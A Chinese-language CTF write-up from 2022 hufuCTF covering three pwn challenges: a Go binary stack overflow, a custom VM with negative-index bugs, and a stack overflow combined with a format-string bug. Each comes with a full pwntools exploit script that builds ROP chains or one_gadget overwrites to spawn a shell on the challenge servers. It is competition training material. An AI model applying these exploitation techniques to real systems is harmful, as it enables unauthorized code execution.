2022hufuCTF

2022hufuCTF

qemu题还没入门,一点头绪都没有,rust几乎没解就没看,这次比赛的收获大概是入门了go pwn,又学了几个libc的奇技淫巧

gogogo

Go二进制文件逆向分析从基础到进阶——Tips与实战案例 - 安全客,安全资讯平台 (anquanke.com)

这篇文章关于go的分析该讲的都讲了,首先恢复符号的IDA插件

sibears/IDAGolangHelper: Set of IDA Pro scripts for parsing GoLang types information stored in compiled binary (github.com)

image-20220321202026198

这个插件有个bug,就是得先点try to detemine go version based on moduledata,再选版本,然后rename functions才行

how to fix it? · Issue #20 · sibears/IDAGolangHelper (github.com)

然后这题的main.main是个幌子(因为断点断不下来),前面安全客的文章里也讲了,main.main之前还有各种

init函数会被执行,乱找了一通,真实逻辑再math.init里面

这个函数里面有很多这种一大片的,其引用的字符串会在某处修复,这里静态看是不正常的,动调这种一块是打印一个字符串

image-20220321202442339

题目逻辑是两个猜数字,第一个静态分析就能得到

image-20220321203128195

第二个是随机生成4个10以内的数字,就是下面这个游戏

猜数字(古老的的密码破译类益智类小游戏)_百度百科 (baidu.com)

有脚本可以直接用

猜完了回来会来个菜单,这个垃圾菜单,考虑了半天,以为漏洞在里面,调了半天内存分配,都是走的go的gc,不存在漏洞

1 THINK 1 SHOULD USE ANOTHER FAMILIAR THING TO KEEP YOU! ! ! !  YOU HAVE FIVE CHOICE:  (0)  INPUT  (1)  OUTPUT  (2)  EDIT  (3)  CLEAR  (4) EXIT

搜了很多go pwn的资料发现go的pwn清一色的都是栈溢出,就一个个的试,最后在程序退出前,这里发现了栈溢出

image-20220321203528691

这里Read是往栈上缓冲区读的

eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  i-guns nox  Ilidłno ASOHD nox  ASOHD noxe  -LIX?

image-20220321203628388

所以这题就是裸栈溢出,直接打ROP即可

exp

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './rev/gogogo'
ip = '120.25.148.180'
port = 21906
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
LD_LIBRARY_PATH = './lib/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
if LIBC_VERSION:
if HAS_LD:
p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path)
else:
p = remote(ip, port)
def debug(cmdstr=''):
if HAS_DEBUG and LIBC_VERSION:
DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
cmd='source /opt/patchelf/loadsym.py\n'
cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
cmdstr=cmd+cmdstr
# cmdstr+='handle SIGTRAP nostop\n'
gdb.attach(p, cmdstr)
pause()
def loadlibc(filename = remote_libc_path):
global libc
libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
if type(s) == int:
s = p.recv(s)
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret

def game():
# sla('YOU HAVE SEVEN CHANCES TO GUESS\n', '10 10 10 10')
with open('solve.txt', 'r') as f:
a = eval(f.read())
p.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS\n')
while 1:
p.sendline(' '.join(map(str, a[0])))
ans = p.recvline()
if 'WIN' in ans:
break
a = a[1]['({}, {})'.format(ans[0], ans[2])]
# p.interactive()
sleep(0.1)
p.sendline('E')
def chose(idx):
sla('PLEASE INPUT A NUMBER:\n', str(idx))
def add(idx, size, content = '\n'):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
sa('Content', content)
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(3)
sla('Index', str(idx))
def show(idx):
chose(4)
sla('Index', str(idx))

run(0)
# debug('b *0x494b34')
# debug('b *0x48E888')

chose(0x66666666)
chose(0x12345678)
# chose(0x54749110)
bss = 0xc00009c000
payload = '/bin/sh\0' + flat(bss, 0)
sla('OKAY YOU CAN LEAVE YOUR NAME AND BYE~\n', payload)

game()
sla('(4) EXIT\n', '4')

syscall = 0x000000000045c849
rax = 0x0000000000405b78
rdi = 0x00000000004742da #0x00000000004742da: pop rdi; xor eax, eax; mov rbp, qword ptr [rsp + 0xb0]; add rsp, 0xb8; ret;
rsi = 0x000000000045544a
rdx = 0x000000000048546c

#payload = 'a'*0x460 # + p64(0xdeadbeef)
payload = '/bin/sh\0' + flat(bss, 0)
payload = payload.ljust(0x460, 'a')
payload += flat(rdi, 0) + 'a'*0xb8
payload += flat(rax, bss+0x100, rsi, bss) + 'a'*0x18
payload += flat(rax, 0)
payload += flat(rdx, 0x100, syscall)
payload += flat(rdi, bss) + 'a'*0xb8
payload += flat(rax, bss+0x100, rsi, bss+8) + 'a'*0x18
payload += flat(rax, 59)
payload += flat(rdx, 0, syscall)

sla('YOU SURE?', payload)
# context.log_level = 20
sleep(0.5)
payload = '/bin/sh\0' + flat(bss, 0)
p.send(payload)

p.interactive()

ROP部分可以参考这里

[原创] CTF2019Q1 第八题 挖宝 writeup-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com

image-20220322095225506

[原创]挖宝题目设计思路-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com

image-20220322095301468

/bin/sh可以利用这个gadget写到栈上

mva

题目名字倒过来就是avm,虚拟机pwn题

题目比较裸,一些点如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0~5 6个寄存器
16bit

case0:
exit
case1:
mov r1,23E(lijishu)
case2:
add r1,r2,r3 # r1 =r2+r3
case3:
sub r1,r2,r3 #r1 = r2-r3
case4:
and r1,r2,r3
case5:
or r1,r2,r3
case6:
sar r1,r2 #r1 = r1 >>r2
case7:
xor r1,r2,r3
case8:
jmp
case9:
push r1 / push 23E 只不过栈向上增长
case10:
pop r1
case11:
jnz
case 12:
cmp r1,r2
case 13:
imul r1,r2,r3
没判断乘数
case 14:
mov r1,r2
case 15:
printf [sp]



只能传25条指令

当时只找到一个明显的负数溢出洞,case14中只判断了r2的范围在0~5,对于r1只判断<5

image-20220321211024745

image-20220321211102911

因此我们能向下写,在reg_mem下面的就是堆栈指针sp_reg了,

image-20220321211126464

但是push中对堆栈指针进行了检测,必须小于0x100,这样也没法修改到返回地址,也就是这个洞的效果就是向下写,能想到的就只有程序里面的虚拟机的跳表了,但是涉及到很多问题,难以实现

image-20220321211206095

第二个洞是队友发现的,还是在push里,依然是负数的问题

image-20220321211537040

假如我们想加0x104,我们可以给他加上1<<63,这样其就是负数(注意这里并不是-0x104),只是让这里认为是负数实现绕过,负多少无所谓,下面这里乘2的时候直接就绕过了,1<<63乘到1<<64正好溢出,就没了,剩下的是我们原来的数*2,

因为main函数的返回地址恰好是libc里面的libc_start_main_ret也就是+231的位置

image-20220321211653803

所以我们直接通过漏洞修改返回地址的后8位为one_gadget ogg(读返回地址到寄存器里面)提前算好应该加还是减

exp

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!python
#coding:utf-8

from xml.dom.expatbuilder import parseFragment
from pwn import *
import subprocess, sys, os
from time import sleep

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './mva'
ip = '119.23.155.14'
port = 34925
# remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_path = './libc-2.31.so'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
LD_LIBRARY_PATH = './lib/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
if LIBC_VERSION:
if HAS_LD:
p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path)
else:
p = remote(ip, port)
def debug(cmdstr=''):
if HAS_DEBUG and LIBC_VERSION:
DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
cmd='source /opt/patchelf/loadsym.py\n'
cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
cmdstr=cmd+cmdstr
gdb.attach(p, cmdstr)
pause()
def loadlibc(filename = remote_libc_path):
global libc
libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
if type(s) == int:
s = p.recv(s)
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret

def chose(idx):
sla('Chose', str(idx))
def pflat(a1, a2=0, a3=0, a4=0):
return p8(a1) + p8(a2) + p8(a3) + p8(a4)
def setreg(idx, value):
global payload
payload += p8(1) + p8(idx) + p16(value)[::-1]
def regmov(idx1, idx2):
global payload
if idx1<0:
idx1 += 0x100
payload += pflat(0xe, idx2, idx1)
def savereg(idx):
global payload
payload += pflat(0xa, idx)
def addreg(idx1, idx2, idx3):
global payload
payload += pflat(2, idx1, idx2, idx3)
def setbuff(value=0):
global payload
payload += pflat(9, value)
run(0)
debug_info = '''b *$rebase(0x13F7)
b *$rebase(0x10F0)
'''
# debug(debug_info)

payload = ''
# 求负数
buff_idx = (0x7ffffffee208 - 0x7ffffffedff0) / 2 + (1 << 63) + 2
print(hex(buff_idx))
buff_idx = p64(buff_idx)
#修改sp
for i in range(4):
setreg(0, u16(buff_idx[i*2:i*2+2]))
regmov(-10+i, 0)
##pop出后8位
for i in range(2):
savereg(5-i)
loadlibc()
ret = libc.sym['__libc_start_main'] + 243
one = one_gadget()[2]
offset1 = (one&0xffff) - (ret&0xffff)
if offset1 < 0:
offset1 += 1<<16
offset2 = ((one>>16)&0xffff) - ((ret>>16)&0xffff)
if offset2 < 0:
offset2 += 1<<16
# success('offset ==> '+hex(offset1))
setreg(2, offset1)
setreg(3, offset2)
addreg(0, 4, 2)
#push
setbuff()
addreg(0, 5, 3)
setbuff()

payload = payload.ljust(0x100, '\0')
sa('[+] Welcome to MVA, input your code now :\n', payload)
p.interactive()

babygame

经典栈溢出结合格式化字符串

但是以前做过先格式化字符串泄露信息(canary,libc),然后栈溢出直接打rop的

这题反过来了,先栈溢出然后再格式化字符串

image-20220321205232259

main函数里read buf 0x256,buf只有256字节大小,明显栈溢出

guess_game是跟系统石头剪刀布,必须输100次,虽然用了rand随机产生,但是通过栈溢出我们可以把种子改了

image-20220321205319730

这里game过了之后进入geshihua函数,这里明显格式化字符串

image-20220321205453987

利用思路是,填满堆栈到rbp的位置,然后打印就可以得到main函数rbp的地址,也就是一个栈地址,等到进入sub_13F7时,我们可以通过这里得到的rbp计算到13F7的返回值在栈上的地址,

这里的格式化字符串即承担了泄露信息(canary,libc)的功能,又改了函数返回值为start,

等到其返回时又会执行一遍start,然后执行main函数,此时再根据已经泄露的信息打栈溢出rop

由于ASLR的存在,程序基址会变,所以start的地址1180的最高位1是不确定的,要多打几次

exp

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep
import ctypes

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './babygame'
ip = '120.25.205.249'
port = 31758
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
#remote_libc_path = './libc-2.31.so'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
LD_LIBRARY_PATH = './lib/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
if LIBC_VERSION:
if HAS_LD:
p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path)
else:
p = remote(ip, port)
def debug(cmdstr=''):
if HAS_DEBUG and LIBC_VERSION:
DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
cmd='source /opt/patchelf/loadsym.py\n'
cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
cmdstr=cmd+cmdstr
gdb.attach(p, cmdstr)
pause()
def loadlibc(filename = remote_libc_path):
global libc
libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def log(info, addr):
success('%s ==> 0x%x'%(info, addr))
def str2int(s, info = '', offset = 0):
if type(s) == int:
s = p.recv(s)
ret = u64(s.ljust(8, '\x00'.encode())) - offset
log(info, ret)
return ret

def hex2int(info = '', offset = 0):
addr = int(p.recvuntil('-')[:-1], 16) - offset
log(info, addr)
return addr
def game():
context.log_level = 20
p.recvuntil('round')
dll = ctypes.cdll.LoadLibrary(remote_libc_path)
dll.srand(0x61616161)
for i in range(100):
a = (dll.rand() + 1) % 3
sla('\n', str(a))
context.log_level = 'debug'
def csu(func, para1, para2, para3, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
rbx = 0
# rbp should be 1,enable not to jump
rbp = 1
# r12 should be the function we want to call
r12 = para1
# rdi=edi=r15d
r15 = func
# rsi=r14
r14 = para3
# rdx=r13
r13 = para2

csu_front_addr = base + 0x15B0
csu_end_addr = base + 0x15CA

payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

loadlibc()

while 1:
run(1)
#gdb.attach(p,"b *$rebase(0x014E2)")
sa('Please input your name:\n', 'a'*0x100+'a'*8+'b'*8)
p.recvuntil('b'*8)
res = p.recv(1)
print(res)
if res == '\n':
continue
rbp = str2int(res+p.recv(5), 'rbp', 0x7ffffffee2d0-0x7ffffffee0b8-0x10) #0x218
#call = rbp - 0x7ffffffee0b8 + 0x7ffffffedeb0
game()

# debug('b *$rebase(0x1449)')
payload = '%{}$p-%{}$p-%{}$p-'.format(39, 41, 79) + 'a'*8 + 'a'*0x11
payload += '%{}x%{}$hn'.format(0x5184-64-10, 14)
payload = payload.ljust(64, 'a').encode()
payload += p64(rbp)

sla('Good luck to you.\n', payload)
canary = hex2int('can')
global base
base = hex2int('base', 0x1543)
if (base & 0x4000) != 0x4000:
continue
libc.address = hex2int('libc', libc.sym['__libc_start_main']+231-libc.address)
# one = one_gadget()[2] + libc.address
system = libc.sym['system']
# binsh = libc.address + 0x1b75aa
#binsh = libc.address + 0x1b45bd
binsh = libc.address + 0x1B3D88
rdi = base + 0x15D3
# print('one', hex(one))
payload = ''.ljust(0x100, 'a').encode() + ('a'*8).encode() + p64(canary) + ('a'*0x10).encode() + p64(0)# + csu(call, 0, 0, 0, 0)
payload += flat(rdi+1,rdi, binsh, system)
# debug('b *$rebase(0x1565)')
try:
sla('name:\n', payload)
except:
continue
sla('round 1: \n', str(0))

p.interactive()

这一步就是看ASLR是否随机到了我们打的地址

1
2
3
4
5
6
7
8
9
10
11
12
# debug('b *$rebase(0x1449)')
payload = '%{}$p-%{}$p-%{}$p-'.format(39, 41, 79) + 'a'*8 + 'a'*0x11
payload += '%{}x%{}$hn'.format(0x5184-64-10, 14)
payload = payload.ljust(64, 'a').encode()
payload += p64(rbp)

sla('Good luck to you.\n', payload)
canary = hex2int('can')
global base
base = hex2int('base', 0x1543)
if (base & 0x4000) != 0x4000:
continue

这里我假定的地址是0x55555554000,那start就是0x5184, 后面得到程序base时判断是否是4000,不是就重打

1
2
3
4
rdi = base + 0x15D3
# print('one', hex(one))
payload = ''.ljust(0x100, 'a').encode() + ('a'*8).encode() + p64(canary) + ('a'*0x10).encode() + p64(0)# + csu(call, 0, 0, 0, 0)
payload += flat(rdi+1,rdi, binsh, system)

这里pop rdi是0x15D3 0x15D4是ret,为什么rop要多加个ret,这个问题我一直都遇到过,不多加这个ret,do-system会报错,

据说是对齐的问题,困惑

这里多学了个调用c函数的技巧

1
2
3
4
5
6
7
8
9
def game():
context.log_level = 20
p.recvuntil('round')
dll = ctypes.cdll.LoadLibrary(remote_libc_path)
dll.srand(0x61616161)
for i in range(100):
a = (dll.rand() + 1) % 3
sla('\n', str(a))
context.log_level = 'debug'